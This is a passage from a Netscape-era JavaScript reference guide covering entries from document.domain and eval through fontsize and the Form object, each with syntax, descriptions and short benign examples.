TEXT="darkviolet" LINK="fuchsia" ALINK="forestgreen" VLINK="navy"> <P><B>Some links</B> <LI><A HREF="doc2.html#numbers" TARGET="frame2">Numbers</A> <LI><A HREF="doc2.html#colors" TARGET="frame2">Colors</A> <LI><A HREF="doc2.html#musicTypes" TARGET="frame2">Music types</A> <LI><A HREF="doc2.html#countries" TARGET="frame2">Countries</A> </BODY> </HTML> doc2.html, which defines the content for the second frame, contains the following code: <HTML> <SCRIPT> </SCRIPT> <BODY BGCOLOR="oldlace" onLoad="alert('Hello, World.')" TEXT="navy"> <P><A NAME="numbers"><B>Some numbers</B></A> <UL><LI>one <LI>two <LI>three <LI>four</UL> <P><A NAME="colors"><B>Some colors</B></A> <UL><LI>red <LI>orange <LI>yellow <LI>green</UL> <P><A NAME="musicTypes"><B>Some music types</B></A> <UL><LI>R&B <LI>Jazz <LI>Soul <LI>Reggae</UL> <P><A NAME="countries"><B>Some countries</B></A> <UL><LI>Afghanistan <LI>Brazil <LI>Canada <LI>Finland</UL> </BODY> </HTML>

See also
Frame object, window object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (13 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

domain
Property. Specifies the domain name of the server that served a document.

Syntax
document.domain

Property of
document

Tainted?
Yes

Implemented in
Navigator 3.0

Description
The domain property lets scripts on multiple servers share properties when data tainting is not enabled. With tainting disabled, a script running in one window can read properties of another window only if both windows come from the same Web server. But large Web sites with multiple servers might need to share properties among servers. For example, a script on the host www.yahoo.com might need to share properties with a script on the host search.yahoo.com. If scripts on two different servers change their domain property so that both scripts have the same domain name, both scripts can share properties. For example, a script loaded from search.yahoo.com could set its domain property to "yahoo.com". A script from www.yahoo.com running in another window could also set its domain property to "yahoo.com". Then, since both scripts have the domain "yahoo.com", these two scripts can share properties, even though they did not originate from the same server. You can change domain only in a restricted way. Initially, domain contains the hostname of the Web server from which the document was loaded. You can set domain only to a domain suffix of itself. For example, a script from search.yahoo.com can't set its domain property to "search.yahoo". And a script from IWantYourMoney.com cannot set its domain to "yahoo.com". Once you change the domain property, you cannot change it back to its original value. For example, if you change domain from "search.yahoo.com" to "yahoo.com", you cannot reset it to "search.yahoo.com". You can change domain at any time.

Examples
The following statement changes the domain property to "braveNewWorld.com". This statement is valid only if
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (14 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

"braveNewWorld.com" is a suffix of the current domain, such as "www.braveNewWorld.com". document.domain="braveNewWorld.com"

See also
taint, untaint functions; "Using data tainting for security"

E
Property. Euler's constant and the base of natural logarithms, approximately 2.718.

Syntax
Math.E

Property of
Math

Implemented in
Navigator 2.0

Tainted?
No

Description
Because E is a constant, it is a read-only property of Math.

Examples
The following function returns Euler's constant: function getEuler() { return Math.E }

See also

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (15 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

exp, LN2, LN10, LOG2E, LOG10E, PI, SQRT1_2, SQRT2 properties

elements array
Property. An array of objects corresponding to form elements (such as checkbox, radio, and Text objects) in source order.

Syntax
1. formName.elements[index] 2. formName.elements.length

Parameters
formName is either the name of a form or an element in the forms array. index is an integer representing an object on a form or the name of an object as specified by the NAME attribute.

Property of
Form object

Implemented in
Navigator 2.0

Tainted?
No

Description
You can reference a form's elements in your code by using the elements array. This array contains an entry for each object (Button, Checkbox, FileUpload, Hidden, Password, Radio, Reset, Select, Submit, Text, or Textarea object) in a form in source order. For example, if a form has a text field and two checkboxes, these elements are reflected as formName.elements[0], formName.elements[1], and formName.elements[2]. Although you can also reference a form's elements by using the element's name (from the NAME attribute), the elements array provides a way to reference Form objects programmatically without using their names. For example, if the first object on the userInfo form is the userName Text object, you can evaluate it in either of the following ways: userInfo.userName.value userInfo.elements[0].value

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (16 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

To obtain the number of elements on a form, use the length property: formName.elements.length. Each radio button in a Radio object appears as a separate element in the elements array. Elements in the elements array are read-only. For example, the statement formName.elements[0]="music" has no effect. The value of each element in the elements array is the full HTML statement for the object.

Properties
The elements array has the following properties:

Property Description length Reflects the number of elements in the form

Examples
See the examples for the Frame property.

See also
Form object

elements property
Property. An array of objects corresponding to form elements (such as Checkbox, Radio, and Text objects) in source order. See the elements array for information.

embeds array
Property. An array reflecting all the <EMBED> tags in a document in source order.

HTML syntax
To generate output from a plug-in application, use standard HTML syntax: <EMBED SRC=source NAME=embedName HEIGHT=height
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (17 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

WIDTH=width> [parameterName=parameterValue] [ ... parameterName=parameterValue] </EMBED> For the complete syntax of the <EMBED> tag, see http://home.netscape.com/eng/mozilla/3.0/handbook/plugins/index.html.

HTML attributes
SRC=source</I> specifies the URL containing the source content. NAME=embedName specifies the name of the embedded object in the document. You can use this name when indexing the embeds array. HEIGHT=height specifies the height of the applet in pixels within the browser window. WIDTH=width specifies the width of the applet in pixels within the browser window. parameterName=parameterValue specifies the name and value of a parameter to pass to the embedded object's plug-in.

Property of
document

Implemented in
Navigator 3.0

Tainted?
No

Description
You can reference embedded objects (created with the <EMBED> tag) in your code by using the embeds array. This array contains an entry for each <EMBED> tag in a document in source order. For example, if a document contains three <EMBED> tags, these <EMBED> tags are reflected as document.embeds[0], document.embeds[1], and document.embeds[2]. Elements in the embeds array may have public callable functions, if they reference a "LiveConnected" plug-in. See Chapter 4, "LiveConnect." To use the embeds array: 1. document.embeds[index] 2. document.embeds.length

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (18 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

index is an integer representing an <EMBED> tag or the name of an embedded object as specified by the NAME attribute. To obtain the number of <EMBED> tags in a document, use the length property: document.embeds.length. Use the elements in the embeds array to interact with the plug-in that is displaying the embedded object. If a plug-in is not Java-enabled, you cannot do anything with its element in the embeds array. The fields and methods of the elements in the embeds array vary from plug-in to plug-in; see the documentation supplied by the plug-in manufacturer. When you use the <EMBED> tag to generate output from a plug-in application, you are not creating a Plugin object. See the Plugin object. Elements in the embeds array are read-only. For example, the statement document.embeds[0]="myavi.avi" has no effect.

Properties
The embeds array has the following properties:

Property Description length Reflects the number of elements in the array

Methods
q

None.

Event handlers
q

None.

Examples
The following code includes an audio plug-in in a document. <EMBED SRC="train.au" HEIGHT=50 WIDTH=250>

See also
Plugin object

enabledPlugin
Property. The Plugin object for the plug-in that is configured for the specified MIME type.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (19 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

Syntax
navigator.mimeTypes[index].enabledPlugin

Parameters
index is either an integer representing a MIME type supported by the client or a string containing the type of a MimeType object (from the type property).

Property of
MimeType

Implemented in
Navigator 3.0

Tainted?
No

Description
Use the enabledPlugin property to determine which plug-in is configured for a specific MIME type. Each plug-in may support multiple MIME types, and each MIME type could potentially be supported by multiple plug-ins. However, only one plug-in can be configured for a MIME type. (On Macintosh and Unix, the user can configure the handler for each MIME type; on Windows, the handler is determined at Navigator start-up time.) The enabledPlugin property is a reference to a Plugin object that represents the plug-in that is configured for the specified MIME type. If the MIME type does not have a plug-in configured, enabledPlugin is null. Without the enabledPlugin property, you could determine if the user has a particular plug-in installed, if their Navigator can handle a particular MIME type, and if the MIME type is supported by any plug-ins. But you could not determine whether a plug-in is configured for the MIME type. You might need to know this information, for example, so you could dynamically emit an <EMBED> tag on the page if the user has a plug-in configured for the MIME type. enabledPlugin is a read-only property.

Examples
The following example determines whether the Shockwave plug-in is installed. If it is, a movie is displayed. // Can we display Shockwave movies? mimetype = navigator.mimeTypes["application/x-director"] if (mimetype) { // Yes, so can we display with a plug-in? plugin = mimetype.enabledPlugin
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (20 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

if (plugin) // Yes, so show the data in-line document.writeln("Here\'s a movie: <EMBED SRC=mymovie.dir HEIGHT=100 WIDTH=100>") else // No, so provide a link to the data document.writeln("<A HREF='mymovie.dir>Click here</A> to see a movie.") } else { // No, so tell them so document.writeln("Sorry, can't show you this cool movie.") } See also the examples for the MimeType object.

See also
description, type, suffixes properties

encoding
Property. A string specifying the MIME encoding of the form.

Syntax
formName.encoding

Parameters
formName is either the name of a form or an element in the forms array.

Property of
Form object

Implemented in
Navigator 2.0

Tainted?
No

Description
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (21 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

The encoding property initially reflects the ENCTYPE attribute of the <FORM> tag; however, setting encoding overrides the ENCTYPE attribute. You can set the encoding property at any time.

Examples
The following function returns the value of the musicForm encoding property: function getEncoding() { return document.musicForm.encoding }

See also
action, method, target properties; Form object

escape
Function. Returns the ASCII encoding of an argument in the ISO Latin-1 character set.

Syntax
escape("string")

Parameters
string is a nonalphanumeric string in the ISO Latin-1 character set, or a property of an existing object.

Implemented in
Navigator 2.0

Description
The value returned by the escape function is a string of the form "%xx," where xx is the ASCII encoding of a character in the argument. If you pass the escape function an alphanumeric character, the escape function returns the same character. escape is a top-level function not associated with any object.

Examples
The following example returns "Hello%2C%20World":

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (22 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

escape("Hello, World") The following example returns "%26": escape("&") The following example returns "%21%23": escape("!#")

See also
unescape function

eval
Method. The eval method evaluates a string of JavaScript code in the context of the specified object.

Syntax
[objectName.]eval(string)

Parameters
objectName is the object for which a string is to be evaluated. If omitted, the string is evaluated without regard to any object. string is any string representing a JavaScript expression, statement, or sequence of statements. The expression can include variables and properties of existing objects.

Method of
eval is a method of all objects.

Implemented in
Navigator 2.0: a built-in JavaScript function, not associated with any object, but part of the language itself Navigator 3.0: a method of every object

Description
The argument of the eval method is a string. If the string represents an expression, eval evaluates the expression. If the
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (23 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

argument represents one or more JavaScript statements, eval performs the statements. Do not call eval to evaluate an arithmetic expression; JavaScript evaluates arithmetic expressions automatically. If you construct an arithmetic expression as a string, you can use eval to evaluate it at a later time. For example, suppose you have a variable x. You can postpone evaluation of an expression involving x by assigning the string value of the expression, say "3 * x + 2", to a variable, and then calling eval at a later point in your script.

Examples
Example 1. Both of the write statements below display 42. The first evaluates the string "x + y + 1," and the second evaluates the string "42." var x = 2 var y = 39 var z = "42" document.write(eval("x + y + 1"), "<BR>") document.write(eval(z), "<BR>") Example 2. In the following example, the getFieldName(n) function returns the name of the nth form element as a string. The first statement assigns the string value of the third form element to the variable field. The second statement uses eval to display the value of the form element. var field = getFieldName(3) document.write("The field named ", field, " has value of ", eval(field + ".value")) Example 3. The following example uses eval to evaluate the string str. This string consists of JavaScript statements that open an Alert dialog box and assigns z a value of 42 if x is five, and assigns zero to z otherwise. When the second statement is executed, eval will cause these statements to be performed, and it will also evaluate the set of statements and return the value that is assigned to z. var str = "if (x == 5) {alert('z is 42'); z = 42;} else z = 0; " document.write("<P>z is ", eval(str)) Example 4. In the following example, the setValue function uses eval to assign the value of the variable newValue to the text field textObject: function setValue (textObject, newValue) { eval ("document.forms[0]." + textObject + ".value") = newValue } Example 5. The following example creates breed as a property of the object myDog, and also as a variable. The first write statement uses eval('breed') without specifying an object; the string "breed" is evaluated without regard to any object, and the write method displays "Shepherd", which is the value of the breed variable. The second write statement uses myDog.eval('breed') which specifies the object myDog; the string "breed" is evaluated with regard to the myDog object, and the write method displays "Lab", which is the value of the breed property of the myDog object. function Dog(name,breed,color) { this.name=name this.breed=breed
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (24 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

this.color=color } myDog = new Dog("Gabby") myDog.breed="Lab" var breed='Shepherd' document.write("<P>" + eval('breed')) document.write("<BR>" + myDog.eval('breed')) Example 6. The following example uses eval within a function that defines an object type, flintstone. The statement fred = new flintstone("x=42") creates the object fred with the properties x, y, z, and z2. The write statements display the values of these properties as 42, 43, 44, and 45, respectively. function flintstone(str) { this.eval("this."+str) this.eval("this.y=43") this.z=44 this["z2"] = 45 } fred = new flintstone("x=42") document.write("<BR>fred.x is " + fred.x) document.write("<BR>fred.y is " + fred.y) document.write("<BR>fred.z is " + fred.z) document.write("<BR>fred.z2 is " + fred.z2)

exp
Method. Returns enumber, where number is the argument, and e is Euler's constant, the base of the natural logarithms.

Syntax
Math.exp(number)

Parameters
number is any numeric expression or a property of an existing object.

Method of
Math

Implemented in
Navigator 2.0

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (25 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm

Examples
The following function returns the exp value of the variable x: function getExp(x) { return Math.exp(x) } If you pass getExp the value 1, it returns 2.718281828459045.

See also
E, log, pow methods

[Next reference file]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_d-e.htm (26 of 26) [30/08/2003 9:34:14 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

[Previous reference file]

fgColor
Property. A string specifying the color of the document (foreground) text.

Syntax
document.fgColor

Property of
document

Implemented in
Navigator 2.0

Tainted?
No

Description
The fgColor property is expressed as a hexadecimal RGB triplet or as one of the string literals listed in "Color values". This property is the JavaScript reflection of the TEXT attribute of the <BODY> tag. The default value of this property is set by the user on the Colors tab of the Preferences dialog box, which is displayed by choosing General Preferences from the Options menu. You cannot set this property after the HTML source has been through layout. If you express the color as a hexadecimal RGB triplet, you must use the format rrggbb. For example, the hexadecimal RGB values for salmon are red=FA, green=80, and blue=72, so the RGB triplet for salmon is "FA8072." You can override the value set in the fgColor property in either of the following ways:
q q

Setting the COLOR attribute of the <FONT> tag. Using the fontcolor method.

Examples
The following example sets the color of the foreground text to aqua using a string literal: document.fgColor="aqua" The following example sets the color of the foreground text to aqua using a hexadecimal triplet: document.fgColor="00FFFF"

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (1 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

See also
alinkColor, bgColor, linkColor, vlinkColor properties; fontcolor method

filename
Property. The name of a plug-in file on disk.

Syntax
1. navigator.plugins[index].filename 2. navigator.plugins[pluginName].filename

Parameters
index is either an integer representing a plug-in installed on the client or a string containing the name of a Plugin object (from the name property).

Property of
Plugin

Implemented in
Navigator 3.0

Tainted?
No

Description
The filename property is the plug-in program's file name and is supplied by the plug-in itself. This name may vary from platform to platform. filename is a read-only property.

Examples
See the examples for the Plugin object.

See also
description, length, name properties

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (2 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

FileUpload
Object. A file upload element on an HTML form. A file upload element lets the user supply a file as input.

HTML syntax
To define a FileUpload object, use standard HTML syntax with the addition of JavaScript event handlers: <INPUT TYPE="file" NAME="fileUploadName" [onBlur="handlerText"] [onChange="handlerText"] [onFocus="handlerText"] >

HTML attributes
NAME="fileUploadName" specifies the name of the FileUpload object (this is not the name of the file to upload). You can access this value using the name property, and you can use this name when indexing the elements array.

Syntax
To use a FileUpload object's properties and methods: fileUploadName.propertyName fileUploadName.methodName

Parameters
fileUploadName is the value of the NAME attribute of a FileUpload object. propertyName is one of the properties listed below. methodName is one of the properties listed below.

Property of
Form object

Implemented in
Navigator 3.0

Description
A FileUpload object on a form looks as follows:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (3 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

File containing your entry:


Browse...

A FileUpload object is a form element and must be defined within a <FORM> tag.

Properties
The FileUpload object has the following properties:

Property name type value

Description Reflects the NAME attribute Reflects the TYPE attribute Reflects the current value of the file upload element's field; this corresponds to the name of the file to upload. This is a read-only property for security purposes.

form property Specifies the form containing the FileUpload object

Methods
The FileUpload object has the following methods:

q q q

blur eval focus

q q

toString valueOf

Event handlers
q q q

onBlur onChange onFocus

Examples
The following example places a FileUpload object on a form and provides two buttons that let the user display current values of the name and value properties. <FORM NAME="form1"> File to send: <INPUT TYPE="file" NAME="myUploadObject"> <P>Get properties<BR> <INPUT TYPE="button" VALUE="name" onClick="alert('name: ' + document.form1.myUploadObject.name)"> <INPUT TYPE="button" VALUE="value" onClick="alert('value: ' + document.form1.myUploadObject.value)"><BR> </FORM>

See also
Text object

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (4 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

fixed
Method. Causes a string to be displayed in fixed-pitch font as if it were in a <TT> tag.

Syntax
stringName.fixed()

Parameters
stringName is any string or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description
Use the fixed method with the write or writeln methods to format and display a string in a document.

Examples
The following example uses the fixed method to change the formatting of a string: var worldString="Hello, world" document.write(worldString.fixed()) The previous example produces the same output as the following HTML: <TT>Hello, world</TT>

floor
Method. Returns the greatest integer less than or equal to a number.

Syntax
Math.floor(number)

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (5 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

Parameters
number is any numeric expression or a property of an existing object.

Method of
Math

Implemented in
Navigator 2.0

Examples
The following function returns the floor value of the variable x: function getFloor(x) { return Math.floor(x) } If you pass getFloor the value 45.95, it returns 45; if you pass it the value -45.95, it returns -46.

See also
ceil method

focus
Method. Gives focus to the specified object.

Syntax
1. 2. 3. 4. 5. 6. 7. fileUploadName.focus() passwordName.focus() selectName.focus() textName.focus() textareaName.focus() frameReference.focus() windowReference.focus()

Parameters
fileUploadName is either the value of the NAME attribute of a FileUpload object or an element in the elements array. passwordName is either the value of the NAME attribute of a Password object or an element in the elements array. selectName is either the value of the NAME attribute of a Select object or an element in the elements array.
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (6 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

textName is either the value of the NAME attribute of a Text object or an element in the elements array. textareaName is either the value of the NAME attribute of a Textarea object or an element in the elements array. frameReference is a valid way of referring to a frame, as described in the Frame object. windowReference is a valid way of referring to a window, as described in the window object.

Method of
Button object, Checkbox object, FileUpload object, Frame object, Password object, Radio object, Reset object object, Select object, Submit object, Text object, Textarea object, window object

Implemented in
q q

Navigator 2.0 Navigator 3.0: method of Button, Checkbox, FileUpload, Frame, Radio, Reset, Submit and window

Description
Use the focus method to navigate to a specific form element, window, or frame, and give it focus. You can then either programmatically enter a value in the form element or let the user enter a value. Giving focus to a window brings the window forward in most windowing systems. Note On some platforms, the focus method gives focus to a frame but the focus is not visually apparent (for example, the frame's border is not darkened). Please see the release notes (after starting Netscape, choose Release Notes from the Help menu).

Examples
In the following example, the checkPassword function confirms that a user has entered a valid password. If the password is not valid, the focus method returns focus to the Password object and the select method highlights it so the user can re-enter the password. function checkPassword(userPass) { if (badPassword) { alert("Please enter your password again.") userPass.focus() userPass.select() } } This example assumes that the Password object is defined as <INPUT TYPE="password" NAME="userPass">

See also
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (7 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

blur method, select method

fontcolor
Method. Causes a string to be displayed in the specified color as if it were in a <FONT COLOR=color> tag.

Syntax
stringName.fontcolor(color)

Parameters
stringName is any string or a property of an existing object. color is a string or a property of an existing object, expressing the color as a hexadecimal RGB triplet or as one of the string literals listed in "Color values".

Method of
String

Implemented in
Navigator 2.0

Description
Use the fontcolor method with the write or writeln methods to format and display a string in a document. If you express color as a hexadecimal RGB triplet, you must use the format rrggbb. For example, the hexadecimal RGB values for salmon are red=FA, green=80, and blue=72, so the RGB triplet for salmon is "FA8072." The fontcolor method overrides a value set in the fgColor property.

Examples
The following example uses the fontcolor method to change the color of a string: var worldString="Hello, world" document.write(worldString.fontcolor("maroon") + " is maroon in this line") document.write("<P>" + worldString.fontcolor("salmon") + " is salmon in this line") document.write("<P>" + worldString.fontcolor("red") + " is red in this line") document.write("<P>" + worldString.fontcolor("8000") +

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (8 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

" is maroon in hexadecimal in this line") document.write("<P>" + worldString.fontcolor("FA8072") + " is salmon in hexadecimal in this line") document.write("<P>" + worldString.fontcolor("FF00") + " is red in hexadecimal in this line") The previous example produces the same output as the following HTML: <FONT COLOR="maroon">Hello, world</FONT> is maroon in this line <P><FONT COLOR="salmon">Hello, world</FONT> is salmon in this line <P><FONT COLOR="red">Hello, world</FONT> is red in this line <FONT COLOR="8000">Hello, world</FONT> is maroon in hexadecimal in this line <P><FONT COLOR="FA8072">Hello, world</FONT> is salmon in hexadecimal in this line <P><FONT COLOR="FF00">Hello, world</FONT> is red in hexadecimal in this line

fontsize
Method. Causes a string to be displayed in the specified font size as if it were in a <FONTSIZE=size> tag.

Syntax
stringName.fontsize(size)

Parameters
stringName is any string or a property of an existing object. size is an integer between one and seven, a string representing a signed integer between one and seven, or a property of an existing object.

Method of
String

Implemented in
Navigator 2.0

Description
Use the fontsize method with the write or writeln methods to format and display a string in a document. When you specify size as an integer, you set the size of stringName to one of the seven defined sizes. When you specify size as a string such as "-2," you adjust the font size of stringName relative to the size set in the <BASEFONT> tag.

Examples

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (9 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

The following example uses string methods to change the size of a string: var worldString="Hello, world" document.write(worldString.small()) document.write("<P>" + worldString.big()) document.write("<P>" + worldString.fontsize(7)) The previous example produces the same output as the following HTML: <SMALL>Hello, world</SMALL> <P><BIG>Hello, world</BIG> <P><FONTSIZE=7>Hello, world</FONTSIZE>

See also
big, small methods

Form object
Object. Lets users input text and make choices from Form elements such as checkboxes, radio buttons, and selection lists. You can also use a form to post data to a server.

HTML syntax
To define a form, use standard HTML syntax with the addition of JavaScript event handlers: <FORM NAME="formName" TARGET="windowName" ACTION="serverURL" METHOD=GET | POST ENCTYPE="encodingType" [onReset="handlerText"] [onSubmit="handlerText"]> </FORM>

HTML attributes
NAME="formName" specifies the name of the Form object. You can access this value using the name property, and you can use this name when indexing the forms array. TARGET="windowName" specifies the window that form responses go to. When you submit a form with a TARGET attribute, server responses are displayed in the specified window instead of the window that contains the form. windowName can be an existing window; it can be a frame name specified in a <FRAMESET> tag; or it can be one of the literal frame names _top, _parent, _self, or _blank; it cannot be a JavaScript expression (for example, it cannot be parent.frameName or windowName.frameName). You can access this value using the target property. ACTION="serverURL" specifies the URL of the server to which form field input information is sent. This attribute can specify a

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (10 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

CGI or LiveWire application on the server; it can also be a mailto: URL if the form is to be mailed. See the location object for a description of the URL components. You can access this value using the action property. METHOD=GET | POST specifies how information is sent to the server specified by ACTION. GET (the default) appends the input information to the URL, which on most receiving systems becomes the value of the environment variable QUERY_STRING. POST sends the input information in a data body, which is available on stdin with the data length set in the environment variable CONTENT_LENGTH. If the METHOD attribute has the value "POST," then the ENCTYPE attribute typically has the value "application/x-www-form-urlencoded." You can access this value using the method property. ENCTYPE="encodingType" specifies the MIME encoding of the data sent: "application/x-www-form-urlencoded" (the default) or "multipart/form-data." Use "multipart/form-data" if the form contains a file upload element (INPUT TYPE="file"). If the METHOD attribute has the value "POST," then the ENCTYPE attribute typically has the value "application/x-www-form-urlencoded." You can access this value using the encoding property.

Syntax
To use a Form object's properties and methods: 1. 2. 3. 4. formName.propertyName formName.methodName(parameters) forms[index].propertyName forms[index].methodName(parameters)

Parameters
formName is the value of the NAME attribute of a Form object. index is an integer representing a Form object or the name of a Form object as specified by the NAME attribute. propertyName is one of the properties listed below. methodName is one of the methods listed below.

Property of
document

Implemented in
q q

Navigator 2.0 Navigator 3.0: added FileUpload object as property; added reset method; added onReset event handler

Description
Each form in a document is a distinct object. You can reference a form's elements in your code by using the element's name (from the NAME attribute) or the elements array. The elements array contains an entry for each element (such as a Checkbox, Radio, or Text object) in a form. The forms array

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (11 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

You can reference the forms in your code by using the forms array (you can also use the form name). This array contains an entry for each Form object (<FORM> tag) in a document in source order. For example, if a document contains three forms, these forms are reflected as document.forms[0], document.forms[1], and document.forms[2]. To use the forms array: 1. document.forms[index] 2. document.forms.length index is an integer representing a form in a document or the name of a Form object as specified by the NAME attribute. To obtain the number of forms in a document, use the length property: document.forms.length. You can also refer to a form's elements by using the forms array. For example, you would refer to a Text object named quantity in the second form as document.forms[1].quantity. You would refer to the value property of this Text object as document.forms[1].quantity.value. Elements in the forms array are read-only. For example, the statement document.forms[0]="music" has no effect. The value of each element in the forms array is <object nameAttribute>, where nameAttribute is the NAME attribute of the form.

Properties
The Form object has the following properties:

Property action

Description Reflects the ACTION attribute

elements array An array reflecting all the elements in a form encoding length name method target Reflects the ENCTYPE attribute Reflects the number of elements on a form Reflects the NAME attribute Reflects the METHOD attribute Reflects the TARGET attribute

The following objects are also properties of the Form object:

q q q q q q

Button Checkbox FileUpload Hidden Password Radio

q q q q q

Reset object Select object Submit object Text object Textarea

The forms array has the following properties:


file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (12 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

Property Description length Reflects the number of forms in the document

Methods
The Form object has the following methods:

q q q

eval method reset method submit method

q q

toString method valueOf method

Event handlers
q q

onReset onSubmit

Examples
Example 1: Named form. The following example creates a form called form1 that contains text fields for first name and last name. The form also contains two buttons that change the names to all uppercase or all lowercase. The function setCase shows how to refer to the form by its name. <HTML> <HEAD> <TITLE>Form object example</TITLE> </HEAD> <SCRIPT> function setCase (caseSpec){ if (caseSpec == "upper") { document.form1.firstName.value=document.form1.firstName.value.toUpperCase() document.form1.lastName.value=document.form1.lastName.value.toUpperCase()} else { document.form1.firstName.value=document.form1.firstName.value.toLowerCase() document.form1.lastName.value=document.form1.lastName.value.toLowerCase()} } </SCRIPT> <BODY> <FORM NAME="form1"> <B>First name:</B> <INPUT TYPE="text" NAME="firstName" SIZE=20> <BR><B>Last name:</B> <INPUT TYPE="text" NAME="lastName" SIZE=20> <P><INPUT TYPE="button" VALUE="Names to uppercase" NAME="upperButton" onClick="setCase('upper')"> <INPUT TYPE="button" VALUE="Names to lowercase" NAME="lowerButton" onClick="setCase('lower')"> </FORM> </BODY> </HTML>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (13 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

